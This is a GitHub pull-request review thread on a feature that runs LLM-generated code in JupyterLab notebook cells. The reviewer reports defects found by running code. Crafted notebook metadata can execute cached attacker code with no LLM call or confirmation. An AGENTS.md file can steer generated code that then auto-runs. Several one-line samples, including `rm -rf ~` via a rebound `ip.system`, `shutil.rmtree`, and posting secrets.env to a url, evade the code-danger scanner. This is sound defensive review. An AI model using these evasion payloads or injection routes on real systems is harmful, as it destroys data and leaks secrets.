feat: add Chatbook natural-language notebook cells - #406
Conversation
pjdoland
left a comment
pjdoland
left a comment
There was a problem hiding this comment.
Reviewed at 1e44f3d against merge base a20da8c, in an isolated worktree with its own venv. This is a big, well-organized feature and I went through it in three passes: Python backend correctness, the TypeScript/JupyterLab layer, and the code-execution trust model specifically. Everything below that I claim as a defect I confirmed by running code rather than by reading, and I have included the reproductions.
All gates are green, so none of this is something CI would have told you:
pytest tests/ -q --ignore=tests/test_claude_client.py: 1449 passedpyteston the Chatbook, rules, ACP, MCP shim, and hygiene files: 173 passedtsc --noEmit,jest(34 suites / 413 tests),eslint,stylelint,prettier --check: all clean
I am requesting changes rather than commenting because three of the findings are on the path that decides whether LLM-generated code runs, and one of them lets a notebook file carry code that executes without the model ever being called. I would be glad to re-review quickly.
Execution safety
1. A shared .ipynb can execute attacker-authored code with no LLM call and no confirmation
src/chatbook-core.ts:530-537 populates meta.cachedCode from the notebook's own persisted cell metadata (nbi.chatbook.generatedCode) whenever cellMeta.promptHash === sha256(prompt), and chatbook_kernel/codegen.py:108-138 honors it verbatim. There is no trust gate on cell metadata: Jupyter's trust model covers outputs, not metadata.
Reproduced against the real modules, with a handcrafted cell whose prompt is an innocuous "Load the sales CSV and show the first rows" and whose metadata carries a payload plus the matching hash:
cacheHit: True (my generate callback raises on call and was never invoked)
scan: clean auto-run under confirm-if-risky: True
The model never sees the payload, the static scan clears it, and should_execute_generated("confirm-if-risky", "clean") returns True. allowCachedCode defaults to true when there is no AGENTS.md, no rules, and no @-mention.
Scenario: user A mails user B a notebook. B has Confirm-if-risky selected and hits Run All. The visible prompts are benign; the metadata is not.
The narrowest fix I can see is to treat the first run after open as a cache miss, that is, require executedPromptByCell to have been populated in this session before honoring cachedCode. That costs one regeneration per cell per session and closes the whole class rather than one payload shape.
To be fair to the design: the default mode is Always confirm, and under that mode this does not fire. It is specifically the opt-in Confirm-if-risky path, plus Auto-run, that is affected.
2. The admin cap is not enforced where the decision is made
chatbook_kernel/kernel.py:114 is parse_execution_mode(chatbook_meta.get("executionPolicy")). The policy arrives in client-supplied execute_request metadata and the kernel never clamps it. clamp_execution_mode exists in chatbook_kernel/execution.py:33, but grepping the package it is called only from extension.py:762 (what the capabilities GET reports) and extension.py:1087 (what ConfigHandler persists). The kernel also never reads nbi_config.chatbook_execution_mode.
Demonstrated:
admin cap : always-confirm (NBI_CHATBOOK_MAX_EXECUTION_MODE)
client policy : auto-run (metadata.nbi_chatbook.executionPolicy)
code executed? : True
kernel.requestExecute({code, metadata: {nbi_chatbook: {executionPolicy: 'auto-run'}}}) from the browser console is enough. llmDangerScan (kernel.py:94) is read from the same client metadata.
I want to be careful about how much weight this carries. A user who can drive the kernel directly can also run os.system in a plain python3 cell, so this is not a containment boundary and I do not think it needs to become one. What it does mean is that docs/admin-guide.md:130 ("Users cannot pick a more permissive mode") and docs/chatbook.md:61 are stronger than the implementation. Either clamp in the kernel, which is easy since the kernel process inherits the server environment and os.environ["NBI_CHATBOOK_MAX_EXECUTION_MODE"] is already reachable there, or soften the docs to describe it as an accident guardrail. I would lean toward clamping in the kernel, because it is a few lines and it makes the docs true.
3. The settings tooltip enumerates categories the scan does not cover
src/components/settings-panel.tsx:1251: "Confirm when the scan flags shell, files, network, installs, or cannot parse the cell."
docs/chatbook.md:44 is honest and well written about this ("a speed bump, not a security boundary... false negatives are inevitable"). The tooltip is the surface where the user actually chooses the mode, and it reads as a list of guarantees. I ran 71 adversarial samples through the real scan_generated_code; 33 came back clean. A representative slice, all verified as clean and therefore auto-running under Confirm-if-risky:
| sample | verdict |
|---|---|
import shutil; nuke = shutil.rmtree; nuke('/path') |
clean |
Path('report.csv').write_text('') |
clean |
m = 'w'; open('report.csv', m).write('') |
clean |
import builtins; run = builtins.exec; run(payload) |
clean |
import httpx; httpx.post(url, content=open('secrets.env').read()) |
clean |
pd.read_pickle('http://host/x.pkl') |
clean |
import runpy; runpy.run_path('helper.py') |
clean |
ip = get_ipython(); run = ip.system; run('rm -rf ~') |
clean |
plt.savefig('/etc/hosts'), np.save(...), df.to_json(...) |
clean |
The naive forms are all caught correctly (os.system, import subprocess as sp, !rm -rf ~, %%bash, getattr(__import__('o'+'s'),'system'), [os.remove(p) for p in ...], open(p,'w')). The shape of the gap is that danger.py:29-31 matches on attribute name only, so binding a method to a local erases every signal, and _DANGEROUS_MODULES is a 10-entry denylist that omits shutil, builtins, pathlib, runpy, code, marshal, multiprocessing, and every non-stdlib network client.
I am not asking for a better scanner; static analysis cannot be complete and you already say so in the docs. I am asking for the tooltip to inherit the docs' framing rather than enumerate categories.
One small related edge: backend.py:51-52 defaults a kernelspec's language to "python" when the field is absent, and danger.py:65 treats ""/None as Python. With a synthetic spec {"myR": {"spec": {"display_name": "R"}}} (no language key), R source scans clean and auto-runs. Everything with a real language field fails closed correctly, which I verified for R, julia, bash, and ir. Defaulting the scan language to unknown rather than python would make the fail-closed posture uniform.
Checked and clean, worth saying: the classifier composition is right and I could not break it. It runs only when the static verdict is already clean, merge_danger_scans is monotonic toward risky, and every failure mode I traced (no model configured, ACP failure, HTTP error, non-JSON output, unrecognized level) independently returns risky at kernel.py:200-204, chatbook_generate.py:561-566, danger.py:89-96, and nbi_client.py:73-79. A permissive override is structurally impossible, not merely unlikely. Similarly the parse-failure-is-risky rule at danger.py:53-57 does more work than it looks: because every IPython magic makes the source unparseable, %%perl, %%ruby, %%writefile, and %alias all land risky even though none are in _MAGIC_NAMES.
Kernel robustness
4. A dead backend kernel wedges execute() forever, and Interrupt cannot recover it
chatbook_kernel/backend.py:189-205 loops while not idle: get_iopub_msg(timeout=0.1) except Empty: continue, with no liveness check and no deadline. ChatbookBackend.ready (backend.py:121) is self._kc is not None, which stays true for a dead child, so _ensure_backend never restarts it.
Measured against a real python3 child:
after child kill, execute done? False
after interrupt() (what interrupt_request does) False, still spinning 5s later
after shutdown() (what do_shutdown does) True, 10s later, ZMQError('Socket operation on non-socket')
An OOM kill during generated code is routine in data work, and a segfault in a native library does it too. Today the cell spins forever, Interrupt does nothing, and Restart Kernel surfaces a raw ZMQError instead of a diagnosable message. A stock IPython kernel reports "Kernel died" and offers a restart.
5. Overriding execute_request drops abort-on-error, so Run All keeps going after a failure
chatbook_kernel/kernel.py:68-117 fully replaces Kernel.execute_request and returns through _reply_error / _execute_in_backend / _reply_ok_without_execute. ipykernel's Kernel.execute_request ends with self._abort_queues(subshell_id) on an error reply, and _aborting is the only thing process_shell_message consults to abort queued execute requests. Grepping notebook_intelligence/**/*.py gives zero references to _abort_queues, _aborting, or should_handle. backend.py:187 also passes stop_on_error=False to the child.
Scenario: Run All Cells on a 20-cell Chatbook notebook, cell 3 raises. In a normal kernel, cells 4 to 20 abort. Here each one fires a /chatbook/generate request and, under Auto-run or Confirm-if-risky with a clean scan, executes its generated code against a kernel whose state is already wrong. Interrupt stops the cell running in the child but does not abort the queue either, since interrupt_request (kernel.py:57) never aborts. For a feature whose premise is auto-running generated code, "you cannot stop a Run All" seems like the wrong default.
6. The kernel identifies its own Jupyter server by newest-mtime runtime file
chatbook_kernel/nbi_client.py:207-217, used by both resolve_generate_url() and jupyter_api_token(), does sorted(glob.glob('jpserver-*.json'), key=os.path.getmtime, reverse=True).
The identifier is already in the environment: Jupyter writes its info file as jpserver-{os.getpid()}.json and jupyter_client.launcher.launch_kernel sets env["JPY_PARENT_PID"] = str(os.getpid()) on every kernel it starts. I verified both hold here. Demonstrated with JPY_PARENT_PID=1111 and a newer jpserver-2222.json present:
generate URL chosen : http://127.0.0.1:9999/lab-b/notebook-intelligence/chatbook/generate
api token chosen : OTHER-SERVER-TOKEN
Two routine failure scenarios. With two servers running (a second project, a test server, jupyter notebook alongside jupyter lab), every Chatbook cell in server A ships its prompt and full notebook context to server B and authenticates with B's token; mentions then resolve against B's get_jupyter_root_dir(), so @file:secrets.env in project A pulls the file from project B's workspace into the prompt. And a server killed with SIGKILL leaves its jpserver-*.json behind, since it is removed only on clean shutdown, so if its mtime is newer all generation fails with "Notebook Intelligence is not reachable" against a closed port.
jupyter_server does not set JPY_API_TOKEN for kernels, so this glob is currently the sole routing mechanism. Preferring jpserver-{JPY_PARENT_PID}.json and falling back to the glob would fix it.
Frontend
7. Export hardcodes # as the comment token regardless of backend language
src/chatbook-core.ts:234-243 (promptAsHashComment), reached from buildCodeNotebookFromChatbook (:358) via convertNotebookCellToCode (:377) and convertChatbookCellToCode (:298,323). buildCodeNotebookFromChatbook receives kernelspec.language and writes it into metadata.language_info, but never passes it down, and convertNotebookCellToCode has no language parameter to branch on.
The PR explicitly supports non-Python backends: resolveChatbookBackendProfile (src/notebook-kernels.ts:117) accepts any installed kernelspec and mimeTypeForNotebookLanguage (:146) enumerates javascript, typescript, scala, sql. Executed:
buildCodeNotebookFromChatbook(nb, {name:'javascript', language:'javascript', ...})
-> cells[0].source === "# plot the sales by region"
The dialog at src/chatbook-toolbar.ts:53 promises "Cells that have not been run become comments"; with an ijavascript/tslab/almond backend, every unrun cell becomes a syntax error, and docmanager:open opens the broken notebook immediately.
8. promptAsHashComment does not normalize a lone CR, so prompt text escapes the comment
src/chatbook-core.ts:239-242 splits on \n only. Python's tokenizer treats a bare \r as a line terminator, so it ends the comment. Verified against CPython:
source repr: "# delete temp files\rprint('ESCAPED THE COMMENT')\n"
promptAsHashComment counts this as 1 line
ESCAPED THE COMMENT
Reachable via a paste with CR line endings, an .ipynb authored outside JupyterLab, or an LLM-produced summary stored in meta.prompt, which the same path uses at :323. Normalizing \r\n? to \n before splitting fixes it. The same class of gap applies to U+2028/U+2029 for JS-family backends once finding 7 is addressed.
9. Per-keystroke O(cells) DOM and CodeMirror work in every notebook, Chatbook or not
chatbookEnabled defaults true (src/api.ts:516-519), and attachChatbookNotebooks (src/chatbook.ts:405-541) plus ChatbookToolbarExtension (src/index.ts:1163) attach to every notebook panel via tracker.widgetAdded, not only Chatbook ones. src/chatbook.ts:516 connects panel.model?.contentChanged to syncCellBadges and src/chatbook-toolbar.ts:125 connects it to this.sync. In JupyterLab, contentChanged fires per keystroke (@jupyterlab/cells/lib/model.js:45,140-142 into @jupyterlab/notebook/lib/model.js:290,351), and panel.model is assigned synchronously in the NotebookPanel constructor, so the connection is live from widgetAdded.
Each keystroke in a plain Python notebook therefore runs three full passes over panel.content.widgets: syncCellBadges (:411), syncChatbookConfirmBars (:690, called at :487), and ChatbookToolbarController.sync into nextChatbookNotebookMode (:352). The expensive one is setChatbookMentionsEnabled (src/chatbook-mentions.ts:403-419), which has no early return when the value is unchanged: it always dispatches a CodeMirror transaction, and on first call permanently appendConfigs a ViewPlugin plus a Prec.highest keymap claiming Tab/Enter/Escape/Backspace/arrows into every code-cell editor of every notebook. The keymap handlers are inert when the menu is closed, but ChatbookMentionMenu.update then calls close() on every view update, doing a removeEventListener and two removeAttribute calls per cell per update.
On a 300-cell notebook with no relationship to Chatbook, that is roughly 900 querySelector calls and 300 CodeMirror transactions per typed character. Gating attach/createNew on isChatbookSession (re-checking on kernelChanged), debouncing the sync, and making setChatbookMentionsEnabled a no-op when the field already holds the requested value would each help independently.
10. A polling KernelSpecManager is leaked on every config change
src/chatbook.ts:397-403 connects NBIAPI.configChanged to refreshChatbookBackendProfile, which does new KernelSpecManager() (:66-76) and never disposes it. @jupyterlab/services starts a Poll on ready (61s, backing off to 300s) that runs until dispose(). configChanged is not rare: NBIAPI.fetchCapabilities emits it on every MCPServerStatusChange and ClaudeCodeStatusChange websocket message (src/api.ts:680-687,846-847), so MCP server churn is enough. A long-lived Lab session accumulates one live poller per status change, each hitting GET /api/kernelspecs forever, and nothing reclaims them. A module-level singleton, or dispose() after await kernels.ready, closes it. The same missing dispose exists at src/chatbook-toolbar.ts:45 and src/components/settings-panel.tsx:1290, though those are user-triggered one-shots.
Notes, not blocking
src/chatbook.ts:543-550:attachChatbookNotebooksreturns a fake disposable whosedispose()is a no-op and whoseisDisposedis hardcoded false. The return value is discarded atsrc/index.ts:977anyway, but aDisposableSetholding it would never observe disposal.src/chatbook.ts:515:panel.sessionContext.kernelChangedis connected but thepanel.disposedhandler (:522-533) disconnects only the other three. Benign, sinceContext.dispose()disposes the session context andSignal.clearDatas it, but it reads as an oversight next to the three that are handled.src/chatbook.ts:519-520:sessionContext.ready.then(connectKernel)andcontext.ready.then(syncCellBadges)have noisDisposedguard. If either resolves after disposal,panel.content.widgetsdereferences a nulled Lumino layout. Narrow race, cheap guard.src/chatbook-core.ts:394-493: notebook context is capped per field (8000 chars, 4000 for outputs) but not in total;splitNotebookContextincludes every cell with no count limit, so a 500-cell notebook can push several MB into a singleexecute_requeston every NL run, andsha256Hex(JSON.stringify(...))(src/chatbook.ts:233) hashes all of it synchronously first.NBIAPI.listChatbookMentions(src/api.ts:1414-1439) passes anAbortSignalbut no timeout. The UI does not wedge, since the timer aborts the prior request on each keystroke and Escape closes the menu, but against a hung backend the menu is silently never shown with no feedback.chatbook_mentions.py:97loopswhile queue and len(found) < cap, so a query matching nothing walks the entire workspace tree synchronously in an executor thread, on each keystroke of the mention menu. Symlinks and dot-dirs are skipped so there are no cycles, but a large repo will stall.src/chatbook.ts:748-774: the confirm bar is injected viainnerHTMLwith norole, no live region, and no focus move, so a screen-reader user pressing Shift+Enter on an NL cell gets silence and a silently blocked run. TheescapeChatbookHtmlsanitization itself is correct for every context it is used in, and the one attribute goes throughdataset.modes/chatbook/rules load from~/.jupyter/nbi/rulesviaRuleManager, not from the notebook's directory, so the repo-local rules-file vector does not exist.chatbook_rule_context(chatbook_generate.py:618-631) uses the notebook directory only for glob matching. Butrule_injector.py:16-29readsAGENTS.mdfromget_jupyter_root_dir()and splices it into the system prompt under "# Additional Guidelines", whichcodegen.py:67instructs the model to follow. A cloned or unzipped repo containing anAGENTS.mdtherefore has instruction-level authority over generated code that then auto-runs. Pre-existing, but this PR is what puts it on an auto-execution path.- Non-ipykernel backends can orphan. The Python path is safe, and I measured it:
JPY_PARENT_PIDreaches the child and ipykernel'sParentPollerUnixexits it about 2s after akill -9of the wrapper. IRkernel, xeus, and deno do not implement parent polling, and the child is started with a privateKernelManagerso it never appears in/api/kernelsand nothing else will reap it. Also worth noting each Chatbook notebook costs two kernel processes. - The ACP generation-only claim is prompt-level for Codex. Permission denial (
acp_agent.py:169-180),fs/*blocking, and emptymcp_serversall check out, butcodex_approval_args(False)pins onlyapproval_policy="untrusted", which still auto-runs trusted read-only commands with nosession/request_permission, andsandbox_modeis not pinned.docs/chatbook.md:20-24reads a little stronger than what is enforced. Separately,_run_isolated_prompt(acp_agent.py:539) opens a fresh ACP session per generation and never closes it, so sessions accumulate in the adapter process for the life of the client. mcp_client.py,api.py, andclaude.py(create_compatible_sdk_mcp_server) add mcp 1.x/2.0 compatibility shims unrelated to Chatbook, andpyproject.tomldoes not pin which branch executes, so it is environment-dependent. This is what explains thetests/test_mcp_client_shim.pychurn; I checked it and it is a genuine dual-path test, not a weakened assertion. Might be worth splitting out so it can be reasoned about on its own.claude.py:990-1002:ClaudeChatModel.completionsnow hoists system messages intosystem=instead of passing them insidemessages. That is a real fix, since the Anthropic API rejectsrole: "system"inmessages, but it changes behavior for every existing caller, not only Chatbook, and a caller sending only system messages now produces an emptymessagesand an API error.resolve_backend_kernelexcludes the literal string"chatbook"(backend.py:45,84) andConfigHandlerrejects the same string, but a kernelspec copied to another name still points atpython -m notebook_intelligence.chatbook_kernel, so selecting it makes each Chatbook cell spawn a nested Chatbook kernel that itself calls the LLM. Requires a deliberate install; noting because the guard is one string.- Test layering:
tests/ts/chatbook.test.tsimports only fromsrc/chatbook-coreandsrc/notebook-kernels, and no test file anywhere importssrc/chatbook, soattachChatbookNotebooks,syncCellBadges,patchCodeCellExecute,applyChatbookPayload,maybeShowChatbookConfirm,renderChatbookConfirmBar,exportChatbookNotebookAsCode, and all ofchatbook-toolbar.tsare uncovered.ui-tests/tests/chatbook-cell-mode-badge.spec.tsopens a plain notebook and synthesizes the badge itself insidepage.evaluatebefore asserting geometry, so it exercises the mock rather than the extension. Findings 7 and 9 would both have been caught by a test at this layer, andrenderChatbookConfirmBar(src/chatbook.ts:722-822), the control that decides whether generated code reaches the kernel, has no test asserting that Run and Don't-run actually gate execution.
Two things I went looking for trouble in and can report clean. The inline-completion origin guard (src/inline-completion-origin.ts) is low risk: file editors bypass it entirely (notebook === null returns true), and for notebooks I confirmed in @jupyterlab/completer/lib/handler.js:131 that request.text is exactly editor.model.sharedModel.getSource(), the same expression the guard compares against at :57, so it is not comparing a prefix against a whole document. The only behavior change is that a reply arriving after the cell text changed is dropped, and the promise still resolves {items: []} rather than hanging. Notebook model integrity is also fine: I validated a Chatbook cell's metadata against nbformat directly, nbformat.validate passes and nbi.chatbook survives a reads/writes round trip, and mode-toggle undo is safe because @jupyter/ydoc scopes the cell's Y.UndoManager to the whole ymodel, so the back-to-back setMetadata + setSource in setChatbookCellMode merge into one stack item. The residual sharp edge is design rather than defect: opened in a plain JupyterLab, a Chatbook notebook shows prose in code cells with the real code only in metadata and no UI to reach it, and cell split/merge concatenates source while generatedCode keeps whichever half's metadata JupyterLab preserved, so a toggle after a merge can replace the visible text with only one half's code. Worth a doc line at minimum.
What is good
The chatbook-core.ts / chatbook.ts split is the right seam and it pays off immediately: every pure decision (mode switching, cache-hit policy, execution-mode clamping, context snapshotting) lives in a JupyterLab-free module with real tests behind it, which is why I could exercise the cache policy and the danger scan directly instead of driving a browser. clampExecutionMode as a primitive, where an admin ceiling caps the user preference rather than racing it, is a genuinely well-chosen design; finding 2 is only about where it gets called, not about the shape of it.
The NBI_ENABLE_CHATBOOK=false off-switch is fail-closed on the server side and the mechanism is better than it first looks. _hide_chatbook_kernelspec patches the live serverapp.kernel_spec_manager, and I verified that MultiKernelManager passes that same object into every KernelManager it constructs, so the NoSuchKernel on get_kernel_spec blocks starting a Chatbook kernel and not merely listing it, including from an already-saved .ipynb. Both new endpoints are @tornado.web.authenticated APIHandlers that 403 before touching any input.
The mention path handling is properly chokepointed: _safe_relative_path rejects absolute paths, dot-prefixed parts, skipped directories, and dangerous codepoints before handing off to safe_jupyter_path, symlinks are skipped during the walk, and file reads are size- and binary-capped. The <MENTION_CONTEXT> / <DYNAMIC_CONTEXT> framing with escaping and explicit "data, never instructions" wording is the right treatment for untrusted workspace content. Rule scoping is correct in both directions and, better, tested in both directions.
The comments throughout explain why rather than what, and several of them call out real bugs that were clearly hit and fixed: the confirm-bar signature check at chatbook.ts:739-745 that avoids destroying the Run button mid-click, the allowCachedCode fail-safe at api.ts:483 that skips the cache rather than risk stale code when context providers might be active, and the note explaining why notebook context deliberately does not participate in the cache key. ChatbookToolbarController.dispose() is a model of the symmetric connect/disconnect that findings 9 and 10 are asking for elsewhere. And docs/chatbook.md:44 saying "not a security boundary" out loud is exactly right; finding 3 is only asking the tooltip to match the doc.
|
Thanks for the thorough review. Addressed the requested-change items in 0f7d52c. Execution safety
Kernel robustness
Frontend7–8. Export comments — comment token follows backend language ( Non-blocking notes (ACP session close, AGENTS.md on auto-run, mention timeout, confirm-bar a11y, etc.) were left for a follow-up except a couple of cheap dispose/ |
|
@pjdoland can you take another look? |
pjdoland
left a comment
pjdoland
left a comment
There was a problem hiding this comment.
Re-reviewed at 9405d57 against merge base e356472, at higher effort than the first pass. Thank you for the thorough remediation, and for the reply that said exactly what changed.
The blocking item is closed. I re-ran my original exploit rather than reading the diff: a crafted cell carrying nbi.chatbook.generatedCode plus a matching promptHash, first run of a fresh session, driven through the real patchCodeCellExecute with a real CodeCell.execute recorder. The outgoing metadata now contains no cachedCode and the LLM path is taken. I then attacked the new gate rather than accepting it, and could not get through: applyChatbookPayload overwrites generatedCode from the kernel payload before the confirm bar is built; the code-mode branch overwrites it with the visible source (so the run-in-code-mode-then-toggle chain executes only code the user already saw); and @jupyter/ydoc calls setMetadata with undoable: false, so Ctrl+Z will not restore the file's version. Duplicate, copy-paste, and reload all mint a new cell.model, changing the WeakMap key. The !== false to === true inversion plus the alreadyExecuted && guard is the right fix, and the comment naming the trust boundary ("notebook files are not a trust boundary") is the right thing to leave behind.
Status of everything else from the first pass:
Cached attacker code from a shared .ipynb |
Fixed |
Client executionPolicy beat the admin cap |
Fixed for the env var; see B4 for the traitlet |
Kernelspec with no language scanned as Python |
Fixed |
| Tooltip overclaimed what the scan covers | Fixed |
Dead backend wedged execute() forever |
Fixed for the kill case; see B1 and N1 |
execute_request dropped the abort-on-error queue |
Fixed for the error path; see B2 |
Server picked by newest-mtime jpserver-*.json |
Fixed for the demonstrated case; see N2 |
Export hardcoded # |
Partially fixed; see N3 |
Lone \r escaped the comment |
Fixed, better than I asked for |
| Per-keystroke O(cells) work in every notebook | Fixed; measured at zero |
Leaked polling KernelSpecManager |
Fixed |
The measurements behind those: the client policy matrix is 48 combinations of stored config, client metadata, and env cap driven through the real execute_request, with zero escalations; a kill -9 of the backend now surfaces an error in 53 ms instead of hanging, and the next cell auto-restarts in 0.56 s; queued cells after an error return aborted and never reach /chatbook/generate; and ten simulated keystrokes on a 300-cell plain Python notebook produce {widgetsGetter: 0, querySelector: 0, mentionCalls: 0, mentionDispatch: 0} where they used to produce roughly 900 querySelector calls and 300 CodeMirror transactions.
What I would still hold for
Four items, all reproduced. None is a security issue.
B1. Every backend death leaks about 15 file descriptors and a thread, permanently. backend.py:136. _mark_dead() does self._kc = None, and shutdown() then reads kc, km = self._kc, self._km, so kc is already None and stop_channels() never runs on the dead client. Its zmq sockets, context, and heartbeat thread are never released, with a Could not destroy zmq context warning each time. Five kill-and-auto-restart cycles in one process:
baseline fds=26 thr=1
cycle 0 fds=55 thr=2
cycle 4 fds=115 thr=6 (never recovers)
With _mark_dead changed to kc, self._kc = self._kc, None; kc.stop_channels(), the identical five cycles stay flat at fds=40 / thr=1. A long session that OOM-kills the backend a dozen times walks into the soft fd limit with nothing tying the failure back to Chatbook.
B2. Interrupt now aborts the queue but orphans the running cell. kernel.py:67. super().interrupt_request() reaches ipykernel's _send_interrupt_children, which does os.killpg(pgid, SIGINT) when pgid == pid, always true for a kernel launched through launch_kernel with start_new_session=True. The backend child is in its own session, so that signal hits nobody but the wrapper, whose shell thread is blocked in backend.execute(). KeyboardInterrupt is a BaseException, so it escapes _execute_in_backend's except Exception, dispatch_shell swallows it, and no execute_reply is sent: the cell shows [*] forever. A 30 s cell with two queued behind it, Interrupt at t+3 s:
at 9405d57 cell1 -> NO REPLY (hung) cell2/3 -> aborted
without the super() call cell1 -> error @3.07s cell2/3 -> aborted
The child's own SIGINT from self._backend.interrupt() already produces the correct KeyboardInterrupt traceback, so the super() call adds nothing. This predates 9405d57, but now that the queue-abort half works it is the only remaining hole in Interrupt, and it also fires during the 60 s wait_for_ready and the 600 s codegen timeout, which are the two places a user is most likely to reach for Interrupt.
B3. Export emits stale generated code for a prompt edited after its last run. chatbook-core.ts:361. convertChatbookCellToCode returns snapshot.generatedCode whenever it is non-blank, with no promptHash comparison, even though buildExecuteChatbookMeta was tightened in this same commit to require exactly that comparison. Running the export:
cell source (edited prompt): "drop the customers table"
meta.prompt (A): "show me the first 5 rows" promptHash: hash-of-A generatedCode: "df.head(5)"
-> exported cells[0].source: "df.head(5)"
-> exported meta.prompt: "drop the customers table" promptHash: hash-of-A
The exported notebook's code disagrees with the prompt sitting next to it, and the stale hash rides along as if it matched. The check you already wrote two hundred lines away is the fix.
B4. The kernel's clamp honors the env var but not the traitlet. chatbook_kernel/execution.py:42. admin_max_execution_mode() reads only NBI_CHATBOOK_MAX_EXECUTION_MODE, while the server resolves env or traitlet_value in _resolve_chatbook_max_execution_mode, and docs/admin-guide.md:130 presents the two as equivalent. With the traitlet set to always-confirm, the env var unset, and a hand-edited ~/.jupyter/nbi/config.json requesting auto-run, the kernel executed. ConfigHandler clamps on write, so this needs a hand-edited file, but a user editing their own config is exactly the actor the cap exists to stop. Passing the resolved cap into the kernel process env at spawn would settle it.
Worth fixing, not worth blocking
N1. The liveness check replaced the deadline, but there still is no deadline. backend.py:206 loops on is_alive(), which catches a dead child but not a live one that stops answering. kill -STOP on the backend: execute() did not return in 20 s, is_alive() stayed True, interrupt() did nothing, and only SIGCONT released it at 31 s. Same shape for a wedged native library or a non-Python backend. Combined with B2, the user has no recovery short of restarting the whole Chatbook kernel.
N2. The JPY_PARENT_PID routing falls back silently. Every failure mode (no such file, unset or non-numeric pid, mode 000, corrupt JSON, a file with a token but no url) drops back to the newest-mtime glob and picks the other server without a log line. It is safe in the sense that jupyter_runtime_dir() is per-user, so no cross-user token exposure, but it routes the prompt and notebook context to a server that may not have NBI loaded or may hold a different key. A warning on fallback, and hard failure when JPY_PARENT_PID is set but its file is unusable, would keep the fix from degrading quietly.
N3. The comment-token table falls back to # for unmapped languages. chatbook-core.ts:262. javascript is fixed, but normalizeNotebookLanguage only lowercases, so xeus-cling's C++17 arrives as c++17 and misses the cpp key. Verified against a real compiler:
$ clang++ -std=c++17 -fsyntax-only t.cpp
t.cpp:1:3: error: invalid preprocessing directive
1 | # plot the sales by region
Also missing and reachable: csharp, fsharp, matlab, clojure, scheme, groovy, dart, ocaml, erlang, fortran, wolfram language. The toolbar dialog promises "Cells that have not been run become comments" unconditionally, so either the table grows or the export should decline when the language is unknown. No block-comment escape exists, since the output is always a line comment: a prompt containing */ exported cleanly.
N4. executeMode: 'code' with no codeSource falls back to file-persisted generatedCode. chatbook.ts:174. Both in-tree callers pass codeSource, so it is latent, but I did reach it in a harness and it executed metadata-supplied code with no LLM, no scan, and no confirm. A fallback whose default is "execute whatever the file says" is worth removing now that the cache gate above exists.
N5. The code-mode path enforces no policy at all, by design (kernel.py:84): no scan, no should_execute_generated, no cap. That is correct for cells the user typed, but it means the whole execution-mode apparatus is client-side, and a client that can craft metadata just sets executeMode: 'code'. One sentence in docs/chatbook.md would stop an admin reading NBI_CHATBOOK_MAX_EXECUTION_MODE as a kernel-enforced boundary.
N6. Two fail-open paths in the danger module. merge_danger_scans re-derives level from reasons instead of taking the maximum, so {level: "risky", reasons: []} merges to clean, and NBIClient.danger_scan can produce exactly that shape after it filters blank reasons. Separately, parse_llm_danger_response('{"level": "risky"}') returns clean, because a parseable object with no risky key falls through: the docstring says "Invalid output is risky (fail closed)" and that holds for unparseable output but not for valid JSON missing the key. Both need a degenerate classifier response to reach.
N7. A scanner exception escapes on the supported Python floor. danger.py:53 catches only SyntaxError, and kernel.py:97 calls scan_generated_code outside any try. On 3.12 a null byte raises SyntaxError and is caught, but requires-python = ">=3.10", and on 3.10 and 3.11 ast.parse raises ValueError for null bytes. Simulated against the real execute_request: the exception escapes, no execute_reply is sent, and the cell spins forever. It fails closed on execution and open on liveness. except Exception in scan_generated_python returning risky would cover it.
N8. activeCellChanged still drives a full O(cells) DOM pass in non-Chatbook notebooks. chatbook.ts:553 connects the raw syncCellBadges rather than the new debounced one, and unlike contentChanged it is connected unconditionally: 600 querySelector plus 300 classList mutations per selection change on a 300-cell plain notebook, so holding arrow-down is roughly 180,000 queries. Much cheaper than what the first pass found (no CodeMirror transactions any more) and only on navigation, but the same shape and a one-line fix. Related: ChatbookToolbarController.sync did not get the requestAnimationFrame debounce its sibling did, so a keystroke in a Chatbook notebook costs one coalesced badge sync plus one uncoalesced full-notebook mode scan (3,000 metadata reads per ten keystrokes at 300 cells).
N9. Notebook context per NL run still has no total cap. Only per-field caps exist, so one cell can contribute 28 KB and splitNotebookContext keeps every cell. Measured payloads: a typical 200-cell notebook is 0.28 MiB, a heavy 500-cell one 2.9 MiB, and a worst case 9.6 MiB, all shipped over the kernel websocket on every run. Tornado's default websocket_max_message_size is 10 MiB, and crossing it closes the connection rather than rejecting the request, which reads to the user as a random kernel death. Independently, several MiB of the user's own notebook per run is a lot to send a model. A byte budget walked outward from the cursor would bound both.
N10. Still open from the first pass: attachChatbookNotebooks returns a disposable whose dispose() is a no-op and whose isDisposed is hardcoded false; the mention request has no timeout, only supersession; and the confirm bar has no role, no live region, and no focus move, so a screen-reader user pressing Shift+Enter on an NL cell gets silence and a silently blocked run. The escaping in that bar is correct, so there is no injection; the gap is purely assistive-technology. kernelChanged disconnection and the ready.then guards are fixed, except chatbook-toolbar.ts:125, which I traced and found harmless.
N11. Test coverage did not follow the fix. The 38 added lines are all pure-function assertions in chatbook-core, and they are good ones. But no test file imports src/chatbook.ts or src/chatbook-toolbar.ts, so setContentChangedListening and _contentChangedConnected, which are the per-keystroke fix, have no coverage, and neither does setChatbookMentionsEnabled's new early return, which is the single highest-value line in the remediation. The structural cause is that jest.config.js has no transformIgnorePatterns for the ESM @jupyterlab/* packages, so importing those modules fails at @jupyterlab/cells/lib/index.js: SyntaxError: Unexpected token 'export'. That is about fifteen lines of moduleNameMapper to unblock, and it would let the gating logic be pinned.
Calibration for the scan wording
scan_generated_python is byte-for-byte unchanged in 9405d57; the only danger.py edit was the language dispatch. So the evasion surface is exactly as before: on a rebuilt 75-sample suite, 65 clean and 10 risky, including nuke = shutil.rmtree; nuke(path), Path('x').write_text(''), import builtins; run = builtins.exec, ip = get_ipython(); run = ip.system; run('rm -rf ~'), pd.read_pickle('http://...'), torch.load, and sp.check_output(shell=True).
I am not asking for a better scanner; static analysis cannot get there, and the new tooltip now says so in the same sentence the user reads while choosing Auto-run, which is the right place for it. I am recording the number so the wording and the docs stay anchored to it.
What is good
The execution-policy clamp is the right shape rather than a patch over the reported symptom: effective_execution_mode takes the less permissive of client and stored config before applying the cap, which structurally demotes client metadata from an input to something that may only tighten. Forty-eight combinations against the real execute_request produced no escalation.
The language fix went in at the source instead of the call site. Dropping language or "python" in list_backend_kernels and dropping "" from the Python set in scan_generated_code means every language-less, whitespace-only, and display-name-only kernelspec I could invent now fails closed, and resolve_backend_kernel stopped mistaking those specs for Python as well.
